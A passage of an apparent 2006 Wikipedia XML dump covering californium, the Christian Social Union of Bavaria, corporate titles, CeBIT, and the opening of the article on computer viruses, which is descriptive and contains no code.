The [[MOX]] which is to be used in power reactors should contain little or no curium as the neutron activation of this element will create [[californium]] which is a strong [[neutron]] emitter. The californium would [[pollute]] the back end of the fuel cycle and increase the dose to workers. Hence if the [[Minor actinides]] are to be used as fuel in a thernal neutron reactor the curium should be excluded from the fuel or placed in special fuel rods where it is the only actindie present.

==References==
* [http://periodic.lanl.gov/elements/96.html Los Alamos National Laboratory - Curium]
* ''Guide to the Elements - Revised Edition'', Albert Stwertka, (Oxford University Press; 1998) ISBN 0-19-508083-1
* [http://education.jlab.org/itselemental/ele096.html It's Elemental - Curium]
* [http://www.ead.anl.gov/pub/doc/curium.pdf Human Health Fact Sheet on Curium]

== External links ==
{{Commons|Curium}}
*[http://www.webelements.com/webelements/elements/text/Cm/index.html WebElements.com - Curium]

[[Category:Chemical elements]]
[[Category:Actinides]]
[[Category: curium compounds]]

[[ar:كوريوم]]
[[bs:Curium]]
[[ca:Curi]]
[[cs:Curium]]
[[de:Curium]]
[[et:Kuurium]]
[[es:Curio]]
[[eo:Kuriumo]]
[[fr:Curium]]
[[ko:퀴륨]]
[[io:Kuriumo]]
[[it:Curio]]
[[he:קוריום]]
[[lt:Kiuris]]
[[hu:Kűrium]]
[[nl:Curium]]
[[ja:キュリウム]]
[[nn:Curium]]
[[pl:Kiur (pierwiastek)]]
[[pt:Cúrio]]
[[ru:Кюрий]]
[[sl:Kirij]]
[[sr:Киријум]]
[[fi:Curium]]
[[sv:Curium]]
[[th:คูเรียม]]
[[uk:Кюрій]]
[[zh:锔]]</text>
    </revision>
  </page>
  <page>
    <title>Californium</title>
    <id>5676</id>
    <revision>
      <id>42040506</id>
      <timestamp>2006-03-03T11:24:51Z</timestamp>
      <contributor>
        <username>Femto</username>
        <id>96285</id>
      </contributor>
      <comment>Rm sketch. US-specific, fictional, nonnotable. Should go into its own &quot;In popular culture&quot; section instead of &quot;History&quot;, still would be unencyclopedic IMO.</comment>
      <text xml:space="preserve">{{Elementbox_header | number=98 | symbol=Cf | name=californium | left=[[berkelium]] | right=[[einsteinium]] | above=[[dysprosium|Dy]] | below=(Uqo) | color1=#ff99cc | color2=black }}
{{Elementbox_series | [[actinide]]s }}
{{Elementbox_periodblock | period=7 | block=f }}
{{Elementbox_appearance | unknown, probably silvery&lt;br /&gt;white or metallic gray }}
{{Elementbox_atomicmass_gpm | [[1 E-25 kg|(251)]] }}
{{Elementbox_econfig | &amp;#91;[[radon|Rn]]&amp;#93; 5f&lt;sup&gt;10&lt;/sup&gt; 7s&lt;sup&gt;2&lt;/sup&gt; }}
{{Elementbox_epershell | 2, 8, 18, 32, 28, 8, 2 }}
{{Elementbox_section_physicalprop | color1=#ff99cc | color2=black }}
{{Elementbox_phase | [[solid]] }}
{{Elementbox_density_gpcm3nrt | 15.1 }}
{{Elementbox_meltingpoint | k=1173 | c=900 | f=1652 }}
{{Elementbox_section_atomicprop | color1=#ff99cc | color2=black }}
{{Elementbox_electroneg_pauling | 1.3 }}
{{Elementbox_ionizationenergies1 | 608 }}
{{Elementbox_section_miscellaneous | color1=#ff99cc | color2=black }}
{{Elementbox_cas_number | 7440-71-3 }}
{{Elementbox_isotopes_begin | isotopesof=californium | color1=#ff99cc | color2=black }}
{{Elementbox_isotopes_decay2 | mn=248 | sym=Cf
 | na=[[synthetic radioisotope|syn]] | hl=[[1 E7 s|333.5 d]]
 | dm1=[[spontaneous fission|SF]] | de1=- | pn1= | ps1=-
 | dm2=[[alpha emission|α]] | de2=6.361 | pn2=244 | ps2=[[curium|Cm]] }}
{{Elementbox_isotopes_decay2 | mn=249 | sym=Cf
 | na=[[synthetic radioisotope|syn]] | hl=[[1 E10 s|351 y]]
 | dm1=SF | de1=- | pn1= | ps1=-
 | dm2=α | de2=6.295 | pn2=245 | ps2=[[curium|Cm]] }}
{{Elementbox_isotopes_decay2 | mn=250 | sym=Cf
 | na=[[synthetic radioisotope|syn]] | hl=[[1 E8 s|13.08 y]]
 | dm1=α | de1=6.128 | pn1=246 | ps1=[[curium|Cm]]
 | dm2=SF | de2=- | pn2= | ps2=- }}
{{Elementbox_isotopes_decay | mn=251 | sym=Cf
 | na=[[synthetic radioisotope|syn]] | hl=898 [[year|y]]
 | dm=α | de=6.176 | pn=247 | ps=[[curium|Cm]] }}
{{Elementbox_isotopes_decay2 | mn=252 | sym=Cf
 | na=[[synthetic radioisotope|syn]] | hl=2.645 y
 | dm1=α | de1=6.217 | pn1=248 | ps1=[[curium|Cm]]
 | dm2=SF | de2=- | pn2= | ps2=- }}
{{Elementbox_isotopes_decay2 | mn=253 | sym=Cf
 | na=[[synthetic radioisotope|syn]] | hl=[[1 E6 s|17.81 d]]
 | dm1=[[beta emission|β&lt;sup&gt;-&lt;/sup&gt;]] | de1=0.285 | pn1=253 | ps1=[[einsteinium|Es]]
 | dm2=α | de2=6.124 | pn2=249 | ps2=[[curium|Cm]] }}
{{Elementbox_isotopes_decay2 | mn=254 | sym=Cf
 | na=[[synthetic radioisotope|syn]] | hl=[[1 E s|60.5 d]]
 | dm1=SF | de1=- | pn1= | ps1=-
 | dm2=α | de2=5.926 | pn2=250 | ps2=[[curium|Cm]] }}
{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#ff99cc | color2=black }}

'''Californium''' is a [[synthetic element]] in the [[periodic table]] that has the symbol Cf and [[atomic number]] 98. A [[Radioactive decay|radioactive]] [[transuranic element]], californium has very few uses and was discovered by bombarding [[curium]] with [[alpha particle]]s ([[helium]]  [[ion]]s).

== Notable characteristics ==
Weighable amounts of californium make it possible to determine some of its properties using macroscopic quantities.

Californium-252 (2.6 year [[half-life]]) is a very strong [[neutron]] emitter and is thus extremely [[radioactive]] and harmful (one [[microgram]] spontaneously emits 170 million neutrons per minute). The decay of californium-254 (55-day half-life) may have been detected through [[telescope]]s in [[supernova]]e remnants. Californium-249 is formed from the  [[beta decay]] of [[berkelium]]-249 and most other californium isotopes are made by subjecting berkelium to intense neutron radiation in a [[nuclear reactor]].

The element does have some specialist applications dealing with its radioactivity but otherwise is largely too difficult to produce to have widespread useful significance as a material. Some of its uses are:
*neutron startup source for some [[nuclear reactor]]s, calibrating instrumentation
*treatment of certain [[Cervical cancer|cervical]] and [[brain cancer]]s where other [[radiation therapy]] is ineffective
*[[radiography]] of aircraft to detect [[metal fatigue]]
*airport neutron-activation detectors of explosives
*[[neutron moisture gauges]] used to find [[water]] and [[petroleum]] layers in [[oil well]]s
*portable neutron source in [[gold]] and [[silver]] prospecting for on-the-spot analysis

Californium has no biological role and only a few californium [[compound (chemistry)|compound]]s have been made and studied. Included among these are: californium oxide (Cf[[oxygen|O]]&lt;sub&gt;3&lt;/sub&gt;), californium trichloride (Cf[[Chlorine|Cl]]&lt;sub&gt;3&lt;/sub&gt;) and californium oxychloride (CfOCl). The only californium ion that is stable in [[aqueous solution]] is californium (III).

==Military use ''(or non use)''==

Californium-251 is famous for having a very small [[Critical mass (nuclear)|critical mass]], high lethality, and short period of toxic environmental irradiation relative to radioactive elements commonly used for radiation explosive weaponry, creating speculation about possible use in [[pocket nuke]]s. This [[urban legend]] is unfounded since it would be very difficult to make a Californium-251 bomb weighing less than 2&amp;nbsp;kg, and the costs of such a bomb would be prohibitive.  Other weaponry uses, such as showering an area with Californium, are not impossible but are seen as inhumane and are subject to inclement weather conditions and porous terrain considerations.  Often cited as a consideration is the cost of producing Californium in quantity, but the cost citations are usually due to extra fees that laboratory materials companies insert for sake of caution and market needs.  A government need not consider these as prohibitive.

==[[Nuclear fuel cycle]]==

It is important to make sure that the [[curium]] concentration in MOX [[Nuclear fuel]] is kept low, as [[neutron]] irradation of curium will convert some of it to californium. The californium will then cause the used fuel to be more difficult to handle as the californium is a strong [[neutron]] emitter (through spontainous fission). Hence the concentration of curium and californium among the [[Minor actinides]] are important.

== History ==
Californium was [[discovery of the chemical elements|first synthesized]] by [[University of California, Berkeley]] researchers Stanley Thompson, Kenneth Street, Jr., [[Albert Ghiorso]] and [[Glenn T. Seaborg]] in [[1950]]. It was the sixth [[transuranium element]] to be discovered and the team announced their discovery on [[March 17]], 1950. It was named after the [[U.S. state]] of [[California]] and for the [[University of California]] system.

To produce element 98, the team bombarded a microgram-sized target of [[curium]]-242 with 35 MeV [[alpha particle]]s in the 60-inch Berkeley [[cyclotron]] which produced atoms of californium-245 (half-life 44 minutes) and a [[free neutron]].

== Isotopes ==
19 [[radioisotope]]s of californium have been characterized, with the most stable being Cf-251 with a [[half-life]] of 898 years, Cf-249 with a half-life of 351 years, and Cf-250 with a half-life of 13 years.  All of the remaining [[radioactive]] isotopes have half-lifes that are less than 2.7 years, and the majority of these have half lifes that are less than 20 minutes. The isotopes of californium range in [[atomic weight]] from 237.062 [[atomic mass unit|amu]] (Cf-237) to 256.093 amu (Cf-256).

==References==
*[http://periodic.lanl.gov/elements/98.html Los Alamos National Laboratory - Californium]
*[http://education.jlab.org/itselemental/ele098.html It's Elemental - Californium]
*''Guide to the Elements - Revised Edition'', Albert Stwertka, (Oxford University Press; 1998) ISBN 0-19-508083-1

== External links ==
{{Commons|Californium}}
*[http://www.webelements.com/webelements/elements/text/Cf/index.html WebElements.com - Californium]
*[http://www.nuclearweaponarchive.org/Nwfaq/Nfaq6.html#nfaq6.2 NuclearWeaponArchive.org - Californium]

[[Category:Chemical elements]]
[[Category:Actinides]]
[[Category:University of California, Berkeley]]

[[ca:Californi]]
[[cs:Kalifornium]]
[[de:Californium]]
[[et:Kalifornium]]
[[el:Καλιφόρνιο]]
[[es:Californio]]
[[eo:Kalifornio (elemento)]]
[[fr:Californium]]
[[gl:Californio (elemento)]]
[[ko:캘리포늄]]
[[io:Kalifornio]]
[[it:Californio]]
[[lt:Kalifornis]]
[[hu:Kalifornium]]
[[nl:Californium]]
[[ja:カリホルニウム]]
[[nn:Californium]]
[[pl:Kaliforn]]
[[pt:Califórnio]]
[[ru:Калифорний]]
[[sr:Калифорнијум]]
[[fi:Kalifornium]]
[[sv:Californium]]
[[th:แคลิฟอร์เนียม]]
[[uk:Каліфорній]]
[[zh:锎]]</text>
    </revision>
  </page>
  <page>
    <title>Cerebral Spinal Fluid</title>
    <id>5677</id>
    <revision>
      <id>15903876</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Cerebrospinal fluid]]
</text>
    </revision>
  </page>
  <page>
    <title>Christian Democratic Union</title>
    <id>5678</id>
    <revision>
      <id>23473263</id>
      <timestamp>2005-09-18T18:18:47Z</timestamp>
      <contributor>
        <username>The Tom</username>
        <id>12499</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Christian Democratic Union (Germany)]]</text>
    </revision>
  </page>
  <page>
    <title>Christian Social Union of Bavaria</title>
    <id>5679</id>
    <revision>
      <id>41090394</id>
      <timestamp>2006-02-25T00:02:24Z</timestamp>
      <contributor>
        <username>Sesel</username>
        <id>51623</id>
      </contributor>
      <text xml:space="preserve">{{Infobox_German_Political_Party |
  party_name     = Christlich-Soziale Union in Bayern |
  party_logo     = [[Image:CSU-Logo 1998.jpg|170px|CSU logo]] |
  party_wikicolourid     = CSU |
  leader = [[Edmund Stoiber]] |
  foundation     = [[1945]] |
  ideology = [[Christian Democracy]], [[Conservatism]] |
  international    = [[Christian Democrat and People's Parties International]] and [[International Democrat Union]]|
  european = [[European People's Party]] and [[European Democrat Union]] |
  europarl = [[European People's Party - European Democrats|EPP-ED]] |
  colours = [[Blue]]|
  headquarters   = Franz Josef Strauß-Haus&lt;br&gt;Nymphenburger Str. 64&lt;br&gt;80335 [[München]] |
  website = [http://www.csu.de http://www.csu.de]
}}

The '''Christian Social Union of Bavaria''' ('''CSU''' &amp;ndash; ''Christlich-Soziale Union in Bayern e.V.'') is a [[Political conservatism|conservative]] [[political party]] in [[Germany]]. It operates exclusively in the state of [[Bavaria]], while its sister party [[Christian-Democratic Union of Germany|CDU]] operates in the rest of the country. Only in [[1957]] in the state of [[Saarland]] (in the first election after it had rejoined Germany) did the CSU run against CDU candidates, but this section of the CSU later merged with the CDU. On the federal level, the CSU is often perceived as the more socially conservative of the two parties, although recently it has also been seen as more leftist on economic issues than the CDU.  At times, especially when the CDU showed weaknesses, there has been considerable tension up to threats to break up the cooperation. Most of the time, however, they work together very closely.

The CSU has led the Bavarian state government practically since it came into existence, and without the need for a coalition government for most of the time. This level of dominance is unique in post-war Germany. On the federal level, it forms a common faction in the ''[[Bundestag]]'' (Federal Parliament) with the CDU. [[Edmund Stoiber]] took over the CSU chairmanship early in 1999. He ran for [[chancellor]] in [[2002]], but lost. In [[2003]] the CSU was [[Bavaria state election, 2003|re-elected]] as the Bavarian government with an overall majority. [[Franz Josef Strauß]] ([[1915]]-[[1988]]) is seen as having set the ideological basis of the party, although he was too young to be a founding leader of the party, which began as a continuation of the Weimar-era [[Bavarian People's Party]].

==Chairmen of the Christian Social Union, 1946-present==
*[[Josef Müller]] 1946-1949
*[[Hans Ehard]] 1949-1955
*[[Hanns Seidel]] 1955-1961
*[[Franz Josef Strauß]] 1961-1988
*[[Theodor Waigel]] 1988-1999
*[[Edmund Stoiber]] 1999-

==See also==
*[[Christian Democratic Union of Germany]]
*[[Politics of Germany]] 
*''[[Bundestag]]'' (Federal Assembly of Germany) 

==External links==
*[http://www.csu.de/ Christlich-Soziale Union] -  Official site ([http://www.csu.de/home/Display/Fremdsprachen/englisch English page])

[[Category:Catholic political parties]]
[[Category:Political parties in Germany]]
[[Category:International Democrat Union]]
[[Category:1945 establishments]]

[[da:CSU]]
[[de:Christlich-Soziale Union in Bayern]]
[[es:Unión Social Cristiana de Baviera]]
[[fr:Christlich-Soziale Union in Bayern]]
[[id:Christlich-Soziale Union in Bayern]]
[[nl:Christlich-Soziale Union]]
[[ja:キリスト教社会同盟]]
[[no:Christlich-Soziale Union in Bayern]]
[[nn:CSU]]
[[pl:Unia Chrześcijańsko-Społeczna (CSU)]]
[[pt:Christlich-Soziale Union]]
[[ro:Uniunea Creştin-Socială din Bavaria]]
[[ru:Христианско-социальный союз]]
[[sh:CSU]]
[[sv:CSU]]
[[zh:拜恩基督教社会联盟]]</text>
    </revision>
  </page>
  <page>
    <title>CEO</title>
    <id>5680</id>
    <revision>
      <id>15903879</id>
      <timestamp>2003-05-15T03:20:12Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[chief executive officer]]</text>
    </revision>
  </page>
  <page>
    <title>Corporate title</title>
    <id>5681</id>
    <revision>
      <id>41038541</id>
      <timestamp>2006-02-24T17:33:06Z</timestamp>
      <contributor>
        <username>Aguerriero</username>
        <id>305478</id>
      </contributor>
      <comment>disambiguation link repair ([[Wikipedia:Disambiguation pages with links|You can help!]])</comment>
      <text xml:space="preserve">{{mergefrom|Corporate officer}}

Publicly and privately held for-profit [[corporation]]s confer '''corporate titles''' or '''business titles''' on company officials as a means of identifying their function in the organization.  In addition, many [[non-profit]] organizations, educational institutions, [[partnership]]s, and [[sole proprietorship]]s also confer corporate titles.  This is a quick reference summary for many high level titles used by [[United States|American]] corporations.  Other countries often use similar titles for corporate executives.

* Chair or [[Chairman]] or Chairman of the Board &amp;ndash; presiding officer of the corporate [[Board of Directors]]; the ''Chairman'' may also concurrently hold the titles of ''CEO'' and/or ''President''.
* [[Chief executive officer|Chief Executive Officer]] or CEO ([[United States]]), or [[Managing director]] ([[United Kingdom]], [[Commonwealth]] and some other English speaking countries) &amp;ndash; highest ranking management officer of a corporation with final authority over the daily operation of the company; reports to (and is often a member of) the Board of Directors.
* [[Chief Financial Officer]] or CFO &amp;ndash; high level corporate officer with oversight of corporate finances; reports to the ''CEO''; may concurrently hold the title of ''Treasurer''.
* [[Chief Marketing Officer]] or CMO.
* [[Chief Business Development Officer]] or CBDO.
* [[Chief analytics officer|Chief Analytics Officer]] or CAO &amp;ndash; high level corporate manager with overall responsibility for the analysis and interpretation of data relevant to a company's activities; generally reports to the ''CEO'', or ''COO''.
* [[Chief Information Officer]] or CIO &amp;ndash; high level corporate manager with overall responsibility for the company's information resources and processing environment; generally reports to the ''CEO'', ''CFO'', or ''COO''.
* [[Chief Networking Officer]] or CNO &amp;ndash; responsible for the [[social capital]] within the company and between the company and its partners
* [[Chief Information Security Officer]] or CISO.
* [[Chief operating officer|Chief Operating Officer]] or COO &amp;ndash; high level corporate officer with responsibility for the daily operation of the company; reports to the ''CEO''.
* [[Director of Operations]] or DOO &amp;ndash; less-frequently used synonym for COO.
* [[Chief technical officer|Chief Technical Officer]] or CTO &amp;ndash; (sometimes Chief Technology Officer) high level corporate officer responsibile for the company's technical direction; in non-technology companies usually reports to the ''CIO'' but in technology companies, may report directly to the ''CEO''.
* [[Chief Knowledge Officer]] or CKO &amp;ndash; high level corporate officer responsible for ensuring that the organization maximizes the value it achieves through &quot;knowledge&quot;.
* [[Chief Security Officer]] or CSO.
* [[Chief Strategy Officer]] or CSO.
* [[Chief Risk Officer]] or CRO.
* [[Chief Credit Officer]] or CCO.

* Director or Member of the [[Board of Directors]] - a high level official with a fiduciary responsibility of overseeing the operation of a corporation; nominally, ''Directors'', other than the ''Chairman'' are usually not considered to be employees of the company ''per se'', although they generally receive compensation, often including benefits; in publicly-held companies, the ''Board of Directors'' is normally made up of members (''Directors'') who are comprised of a mixture of corporate officials who are also management employees of the company ([[inside director]]s) and members who are not employed by the company in any capacity ([[outside director]]s or [[non-executive director]]s).  In privately held companies, the ''Board of Directors'' often only consists of the statuatory corporate officials, and in ''sole proprietorships'' and ''partnerships'', the board is entirely optional, and if it does exist, only operates in an advisory capacity to the owner or ''partner''s.  Non-profit corporations are governed by a ''Board of Trustees'' instead of a ''Board of Directors''
* [[Management|Director]] - manager of managers within an organization who is often responsible for a major business function and often reports to a Vice President.  Often used with name of a functional area; ''Finance Director'', ''Director of Finance'', ''Marketing Director'', etc.  Not to be confused with a ''Member of the Board of Directors'' who is also referred to as a ''Director''
* [[Foreman]]
* [[General manager]] or GM
* [[Manager]]
* [[Owner]]
* [[Partner]]
* [[President]] - legally recognized highest corporate officer; generally works for the Board of Directors but is not expected to handle daily operations, which is the responsibility of the CEO.  Often, the title of ''President'' is held concurrently by the ''Chairman'', the ''CEO'', or the ''COO''.  The ''President'' is usually a member of the Board of Directors. Somtimes a ''President'' will represent only one division within a corporation, such as the President of Sales.
* [[Secretary]] - legally recognized corporate officer who reports to the Board of Directors and is responsible for keeping the records of the Board and the company.  This title is often concurrently held by the ''treasurer'' in a dual position called ''secretary-treasurer''; both positions may be concurrently held by the ''CFO''.  Note, however, that the ''Secretary'' has a reporting line to the Board of Directors, regardless of any other reporting lines conferred by concurrent titles.
* [[Secretary-Treasurer]] - in many cases, the offices of ''Secretary'' and ''Treasurer'' are held by  the same person.  In this case, the position is commonly referred to by the combined title ''Secretary-Treasurer''
* [[Statuatory agent]]
* [[Superintendent]]
* [[Supervisor]]
* [[Treasurer]] - legally recognized corporate officer entrusted with the fiduciary responsibility of caring for company funds.  Often this title is held concurrently with that of ''Secretary'' in a dual role called ''secretary-treasurer''.  It can also be held concurrently with the title of ''CFO''.  Note, however, that the ''Treasurer'' has a reporting line to the Board of Directors, regardless of any other reporting lines conferred by concurrent titles.
* Vice Chair or [[Vice Chairman]] - officer of the Board of Directors who stands in for the ''Chairman'' in his/her absence, or who supervises a particular activity of the Board or company.  A ''Vice Chairman'' might also concurrently hold other corporate titles, or might be an ''outside director''.
* [[Vice President]] - Middle or upper manager in a corporation.  Depending on the corporate structure ''Vice Presidents'' report to the ''President'', who will in turn report to the ''Director'', who then reports to the Chief Officer of their respective division, who will then report to the CEO. They often appear in various hierarchical layers such as ''Executive Vice President'', ''Senior Vice President'', ''Associate Vice President'', or ''Assistant Vice President''.  Many times, corporate officers such as the ''CFO'', ''COO'', ''CIO'', ''CTO'', ''Secretary'', or ''Treasurer'' will concurrently hold ''Vice President'' titles. Vice Presidents in small companies are also referred to as chiefs of a certain division, such as VP of Finance, or VP of Administration. These titles are the same as CFO and such titles.

Other [[Corporation | corporate]] employee classifications include:

*[[Exempt Employee | Exempt]] - Meaning that they're exempt from the [[Fair Labor Standards Act | FLSA]]. In a corporation, this generally applies to salaried professional staff, and executives, earning in excess of $23,660 annually.
*[[Non Exempt Employee | Non-exempt]] - Generally an employee paid by the hour who is entitled to a minimum wage, overtime pay at the rate of time and one-half the regular rate for all hours worked in excess of 40 hours per week, as well as other protections under child labor and equal pay laws.

Most modern corporations also have [[Non Employee]] workers. These are usually [[Temps]] or [[Consultants]] who, depending on the project and their experience, might be brought on to lead a task for which the skill-set did not exist within the company, or in the case of a temp, in the vernacular sense, to perform busy-work or an otherwise low-skilled repetative task for which an employee is deemed too valuable to perform.
[[Non Employees]] generally are employed by outside agencies or firms, but perform their duties within a corporation or similar entity. They do not have the same benefits as employees of that company, such as pay-grades, health insurance, or sick days. Some high-skilled consultants, however, may garner some benefits such as a bonus, sick leave, or food and travel expenses, since they usually charge a high flat-fee for their services, or otherwise garner high hourly wages.
An example of high-skilled consultants include [[Lawyers]] and [[Accountants]] who may not be employed by a corporation, but have their own firms or practices. Most [[Temps]], however, are compensated strictly for the hours they work, and are generally [[Non Exempt Employee | Non-exempt]].

Corporate titles are sometimes given more for honor than out of any differentiation in job function. For example, the COO title is often given to a manager who really only runs a certain division of a company, but is set to be in line to be the CEO. The titles &quot;President&quot; and &quot;Vice President&quot; are sometimes given in the same way.

[[Category:Management]]
[[category:Organizational studies and human resource management]]
[[Category:Corporate governance]]</text>
    </revision>
  </page>
  <page>
    <title>CeBIT</title>
    <id>5682</id>
    <revision>
      <id>34672004</id>
      <timestamp>2006-01-10T22:43:01Z</timestamp>
      <contributor>
        <username>Aapo Laitinen</username>
        <id>222734</id>
      </contributor>
      <minor />
      <comment>rv linkspam - [[WP:WPSPAM|you can help!]]</comment>
      <text xml:space="preserve">[[Image:CeBIT 2000 exhibition hall.jpg|thumb|250px|right|A crowded exhibition hall during CeBIT 2000.]]

'''CeBIT''' is the world's biggest, and one of the world's most important, [[computer expo|computer expos]]. It is held in [[Hanover]], [[Germany]], each spring and is a barometer of [[information technology]]. With an exhibition area of 400,000 m&amp;sup2; and 700,000 visitors, it is bigger than [[COMDEX]]. 

The name CeBIT stands for ''Centrum der Büro- und Informationstechnik'' (Center for office and information technology) and was traditionally the CeBIT part of the [[Hanover Fair]], a big industry trade show held every year. However, in the 1980s the information technology and telecommunications part had grown so big that it was given a separate trade show starting [[1986]], held four weeks earlier than the Hanover Fair.

As the CeBIT continued to grow quickly and was becoming too big on its own, it was decided to concentrate on the professional market, while the home and entertainment market was given a separate show, the ''CeBIT home'', planned to be biennial. However, after being held twice (in [[1996]] and [[1998]]), it was discontinued.

==World Wide CeBIT Shows==
Since [[1999]] the CeBIT sponsor ''Deutsche Messe AG'' has organized trade shows outside of Germany bearing the CeBIT name 

* [http://www.cebitbilisim.com Cebit Eurasia] at [[İstanbul]]
* [http://www.cebit.com.au/ CeBIT Australia] at [[Sydney]]
* [http://www.cebit-asia.com/ CeBIT Asia] at [[Shanghai]]
* '''CeBIT America/USA''' was cancelled in [[2005]]. It was held in [[2003]] and [[2004]].

http://www.worldwidecebitevents.com/ 

==External links==
* [http://www.cebit.de/ Official website]
* [http://cebit.150.dk/ CeBIT 2005 video coverage]

[[Category:Computer-related events and awards]]
[[Category:Trade shows]]
{{compu-stub}}

[[da:CeBIT]]
[[de:CeBIT]]
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[[id:CeBIT]]
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    </revision>
  </page>
  <page>
    <title>Computer expo</title>
    <id>5683</id>
    <revision>
      <id>40831823</id>
      <timestamp>2006-02-23T07:48:28Z</timestamp>
      <contributor>
        <username>Sirtwist</username>
        <id>249972</id>
      </contributor>
      <text xml:space="preserve">A '''computer expo''' is a [[trade fair]] or exposition for computers and electronics. Expos usually include company or organization booths where products and technologies are demonstrated; talks and lectures; and general mixing of people with common interests.

*[[CeBIT]]
*[[COMDEX]]
*[[Computex]]
*[[Computer World Expo]]
*[[HostingCon]]
*[[Interop]]
*[[LinuxTag]]

{{compu-stub}}

[[Category:Computer conferences|*]]

&lt;!-- interwiki --&gt;

[[id:Pameran komputer]]
[[nl:Computerbeurs]]</text>
    </revision>
  </page>
  <page>
    <title>Computer virus</title>
    <id>5684</id>
    <revision>
      <id>42122178</id>
      <timestamp>2006-03-03T23:39:30Z</timestamp>
      <contributor>
        <username>RainR</username>
        <id>226845</id>
      </contributor>
      <minor />
      <comment>rvv</comment>
      <text xml:space="preserve">In [[computer security]] technology, a '''virus''' is a self-replicating/self-reproducing-automation [[computer program|program]] that spreads by inserting copies of itself into other [[executable]] code or documents. A computer virus behaves in a way similar to a [[Virus|biological virus]], which spreads by inserting itself into living cells. Extending the analogy, the insertion of a virus into the program is termed as an &quot;infection&quot;, and the infected file (or executable code that is not part of a file) is called a &quot;host&quot;. Viruses are one of the several types of malicious software or [[malware]]. In a common parlance, the term ''virus'' is often extended to refer to [[computer worm|worms]], [[Trojan horse (computing)|trojan horses]] and other sorts of malware; however, this can confuse computer users, since viruses in the narrow sense of the word are less common than they used to be, compared to other forms of malware. This confusion can have serious consequences, because it may lead to a focus on preventing one genre of malware over another, potentially leaving computers vulnerable to future damage. However, a basic rule is that computer viruses cannot directly damage hardware, but only software.

While viruses can be intentionally destructive (for example, by destroying data), many other viruses are fairly benign or merely annoying. Some viruses have a delayed payload, which is sometimes called a ''bomb''. For example, a virus might display a message on a specific day or wait until it has infected a certain number of hosts. A ''time bomb'' occurs during a particular date or time, and a ''logic bomb'' occurs when the user of a computer takes an action that triggers the bomb. However, the predominant negative effect of viruses is their uncontrolled self-reproduction, which wastes or overwhelms computer resources.

Today ([[as of 2005]]), viruses are somewhat less common than network-borne worms, due to the popularity of the [[Internet]]. [[Anti-virus software]], originally designed to protect computers from viruses, has in turn expanded to cover worms and other threats such as [[spyware]].

== Definition ==
A virus is a type of program that can replicate itself by making (possibly modified) copies of itself. The main criterion for classifying a piece of executable code as a virus is that it spreads itself by means of 'hosts'. A virus can only spread from one computer to another when its host is taken to the uninfected computer, for instance by a user sending it over a network or carrying it on a removable medium. Additionally, viruses can spread to other computers by infecting files on a [[File system#Network file systems|network file system]] or a file system that is accessed by another computer. Viruses are sometimes confused with [[computer worm|worms]]. A worm, however, can spread itself to other computers without needing to be transferred as part of a host. Many personal computers are now connected to the Internet and to local-area networks, facilitating their spread. Today's viruses may also take advantage of network services such as the [[World Wide Web]], [[e-mail]], and [[file sharing]] systems to spread, blurring the line between viruses and worms.

Viruses can infect different types of hosts. The most common targets are executable files that contain application software or parts of the operating system. Viruses have also infected the executable [[boot sector]]s of [[floppy disk]]s, script files of application programs, and documents that can contain [[macro virus|macro scripts]]. Additionally, viruses can infect files in other ways than simply inserting a copy of their code into the code of the host program. For example, a virus can overwrite its host with the virus code, or it can use a trick to ensure that the virus program is executed when the user wants to execute the (unmodified) host program. Viruses have existed for many different [[operating system]]s, including [[MS-DOS]], [[AmigaOS]], [[Mac OS]] and even [[Linux]]; however, the vast majority of viruses affect [[Microsoft Windows]].

A legitimate application program that can copy itself as a side effect of its normal function (e.g. backup software) is not considered a virus. Some programs that were apparently intended as viruses cannot self-replicate, because the infection routine contains bugs. For example, a buggy virus can insert copies of itself into host programs, but these copies never get executed and are thus unable to spread the virus. As long as at least some of the copies are able to make copies of themselves, they are still considered viruses, otherwise they are referred to as ''intended viruses''.

Some people incorrectly argue that malware is only classified as a virus if it both meets the above definition and can infect a computer without user activation.  By this definition, malware that requires user activation to run would be classified as a trojan or a worm. But, before computers were networked together, the only way a virus would activate(excluding boot sector viruses) was by user activation, so this never was part of the definition of a virus.

==Use of the word &quot;virus&quot;==
The term &quot;virus&quot; was first used in an academic publication by [[Fred Cohen]] in his [[1984]] paper ''Experiments with Computer Viruses'', where he credits [[Len Adleman]] with coining it. However, a 1972 [[science fiction]] novel by [[David Gerrold]], ''[[When H.A.R.L.I.E. Was One]],'' includes a description of a fictional computer program called &quot;VIRUS&quot; that worked just like a virus (and was countered by a program called &quot;ANTIBODY&quot;); and [[John Brunner (novelist)|John Brunner]]'s 1975 novel ''[[The Shockwave Rider]]'' describes programs known as &quot;tapeworms&quot; which spread through a network for deleting data.  The term &quot;computer virus&quot; with current usage also appears in the [[comic book]] &quot;Uncanny [[X-Men]]&quot; No. 158, published in 1982. Therefore, we may conclude that although Cohen's use of &quot;virus&quot; may, perhaps, have been the first &quot;academic&quot; use, the term had been used earlier.  ''[[Westworld]]'' is often cited as containing an early usage of the term, though the exact phrase is not actually used in the film.  

The term &quot;virus&quot; is often used in common parlance to describe all kinds of [[malware]] (malicious software), including those that are more properly classified as [[computer worm|worms]] or [[Trojan horse (computing)|trojans]]. Most popular [[anti-virus software]] packages defend against all of these types of attack.

The English plural of &quot;virus&quot; is &quot;viruses&quot;. Some people use &quot;virii&quot; or &quot;viri&quot; as a plural, although computer professionals seldom use these words. For a discussion about whether &quot;viri&quot; and &quot;virii&quot; are correct alternatives for &quot;viruses&quot;, see ''[[plural of virus]]''.

Sometimes the word &quot;virus&quot; is also considered an [[acronym]] which stands for &quot;Vital Information Resource Under Siege&quot;, but this only started relatively recently (meaning it is a [[backronym]] instead) and is unrelated to the initial use of the word &quot;virus&quot; for computer malware. [http://www.stands4.com/bs.asp?st=VIRUS]

==History==
A program called &quot;[[Elk Cloner]]&quot; is credited with being the first computer virus to appear &quot;in the wild&quot; -- that is, outside the single computer or lab where it was created. Written in [[1982]] by [[Rich Skrenta]], it attached itself to the Apple DOS 3.3 operating system and spread by [[floppy disk]].

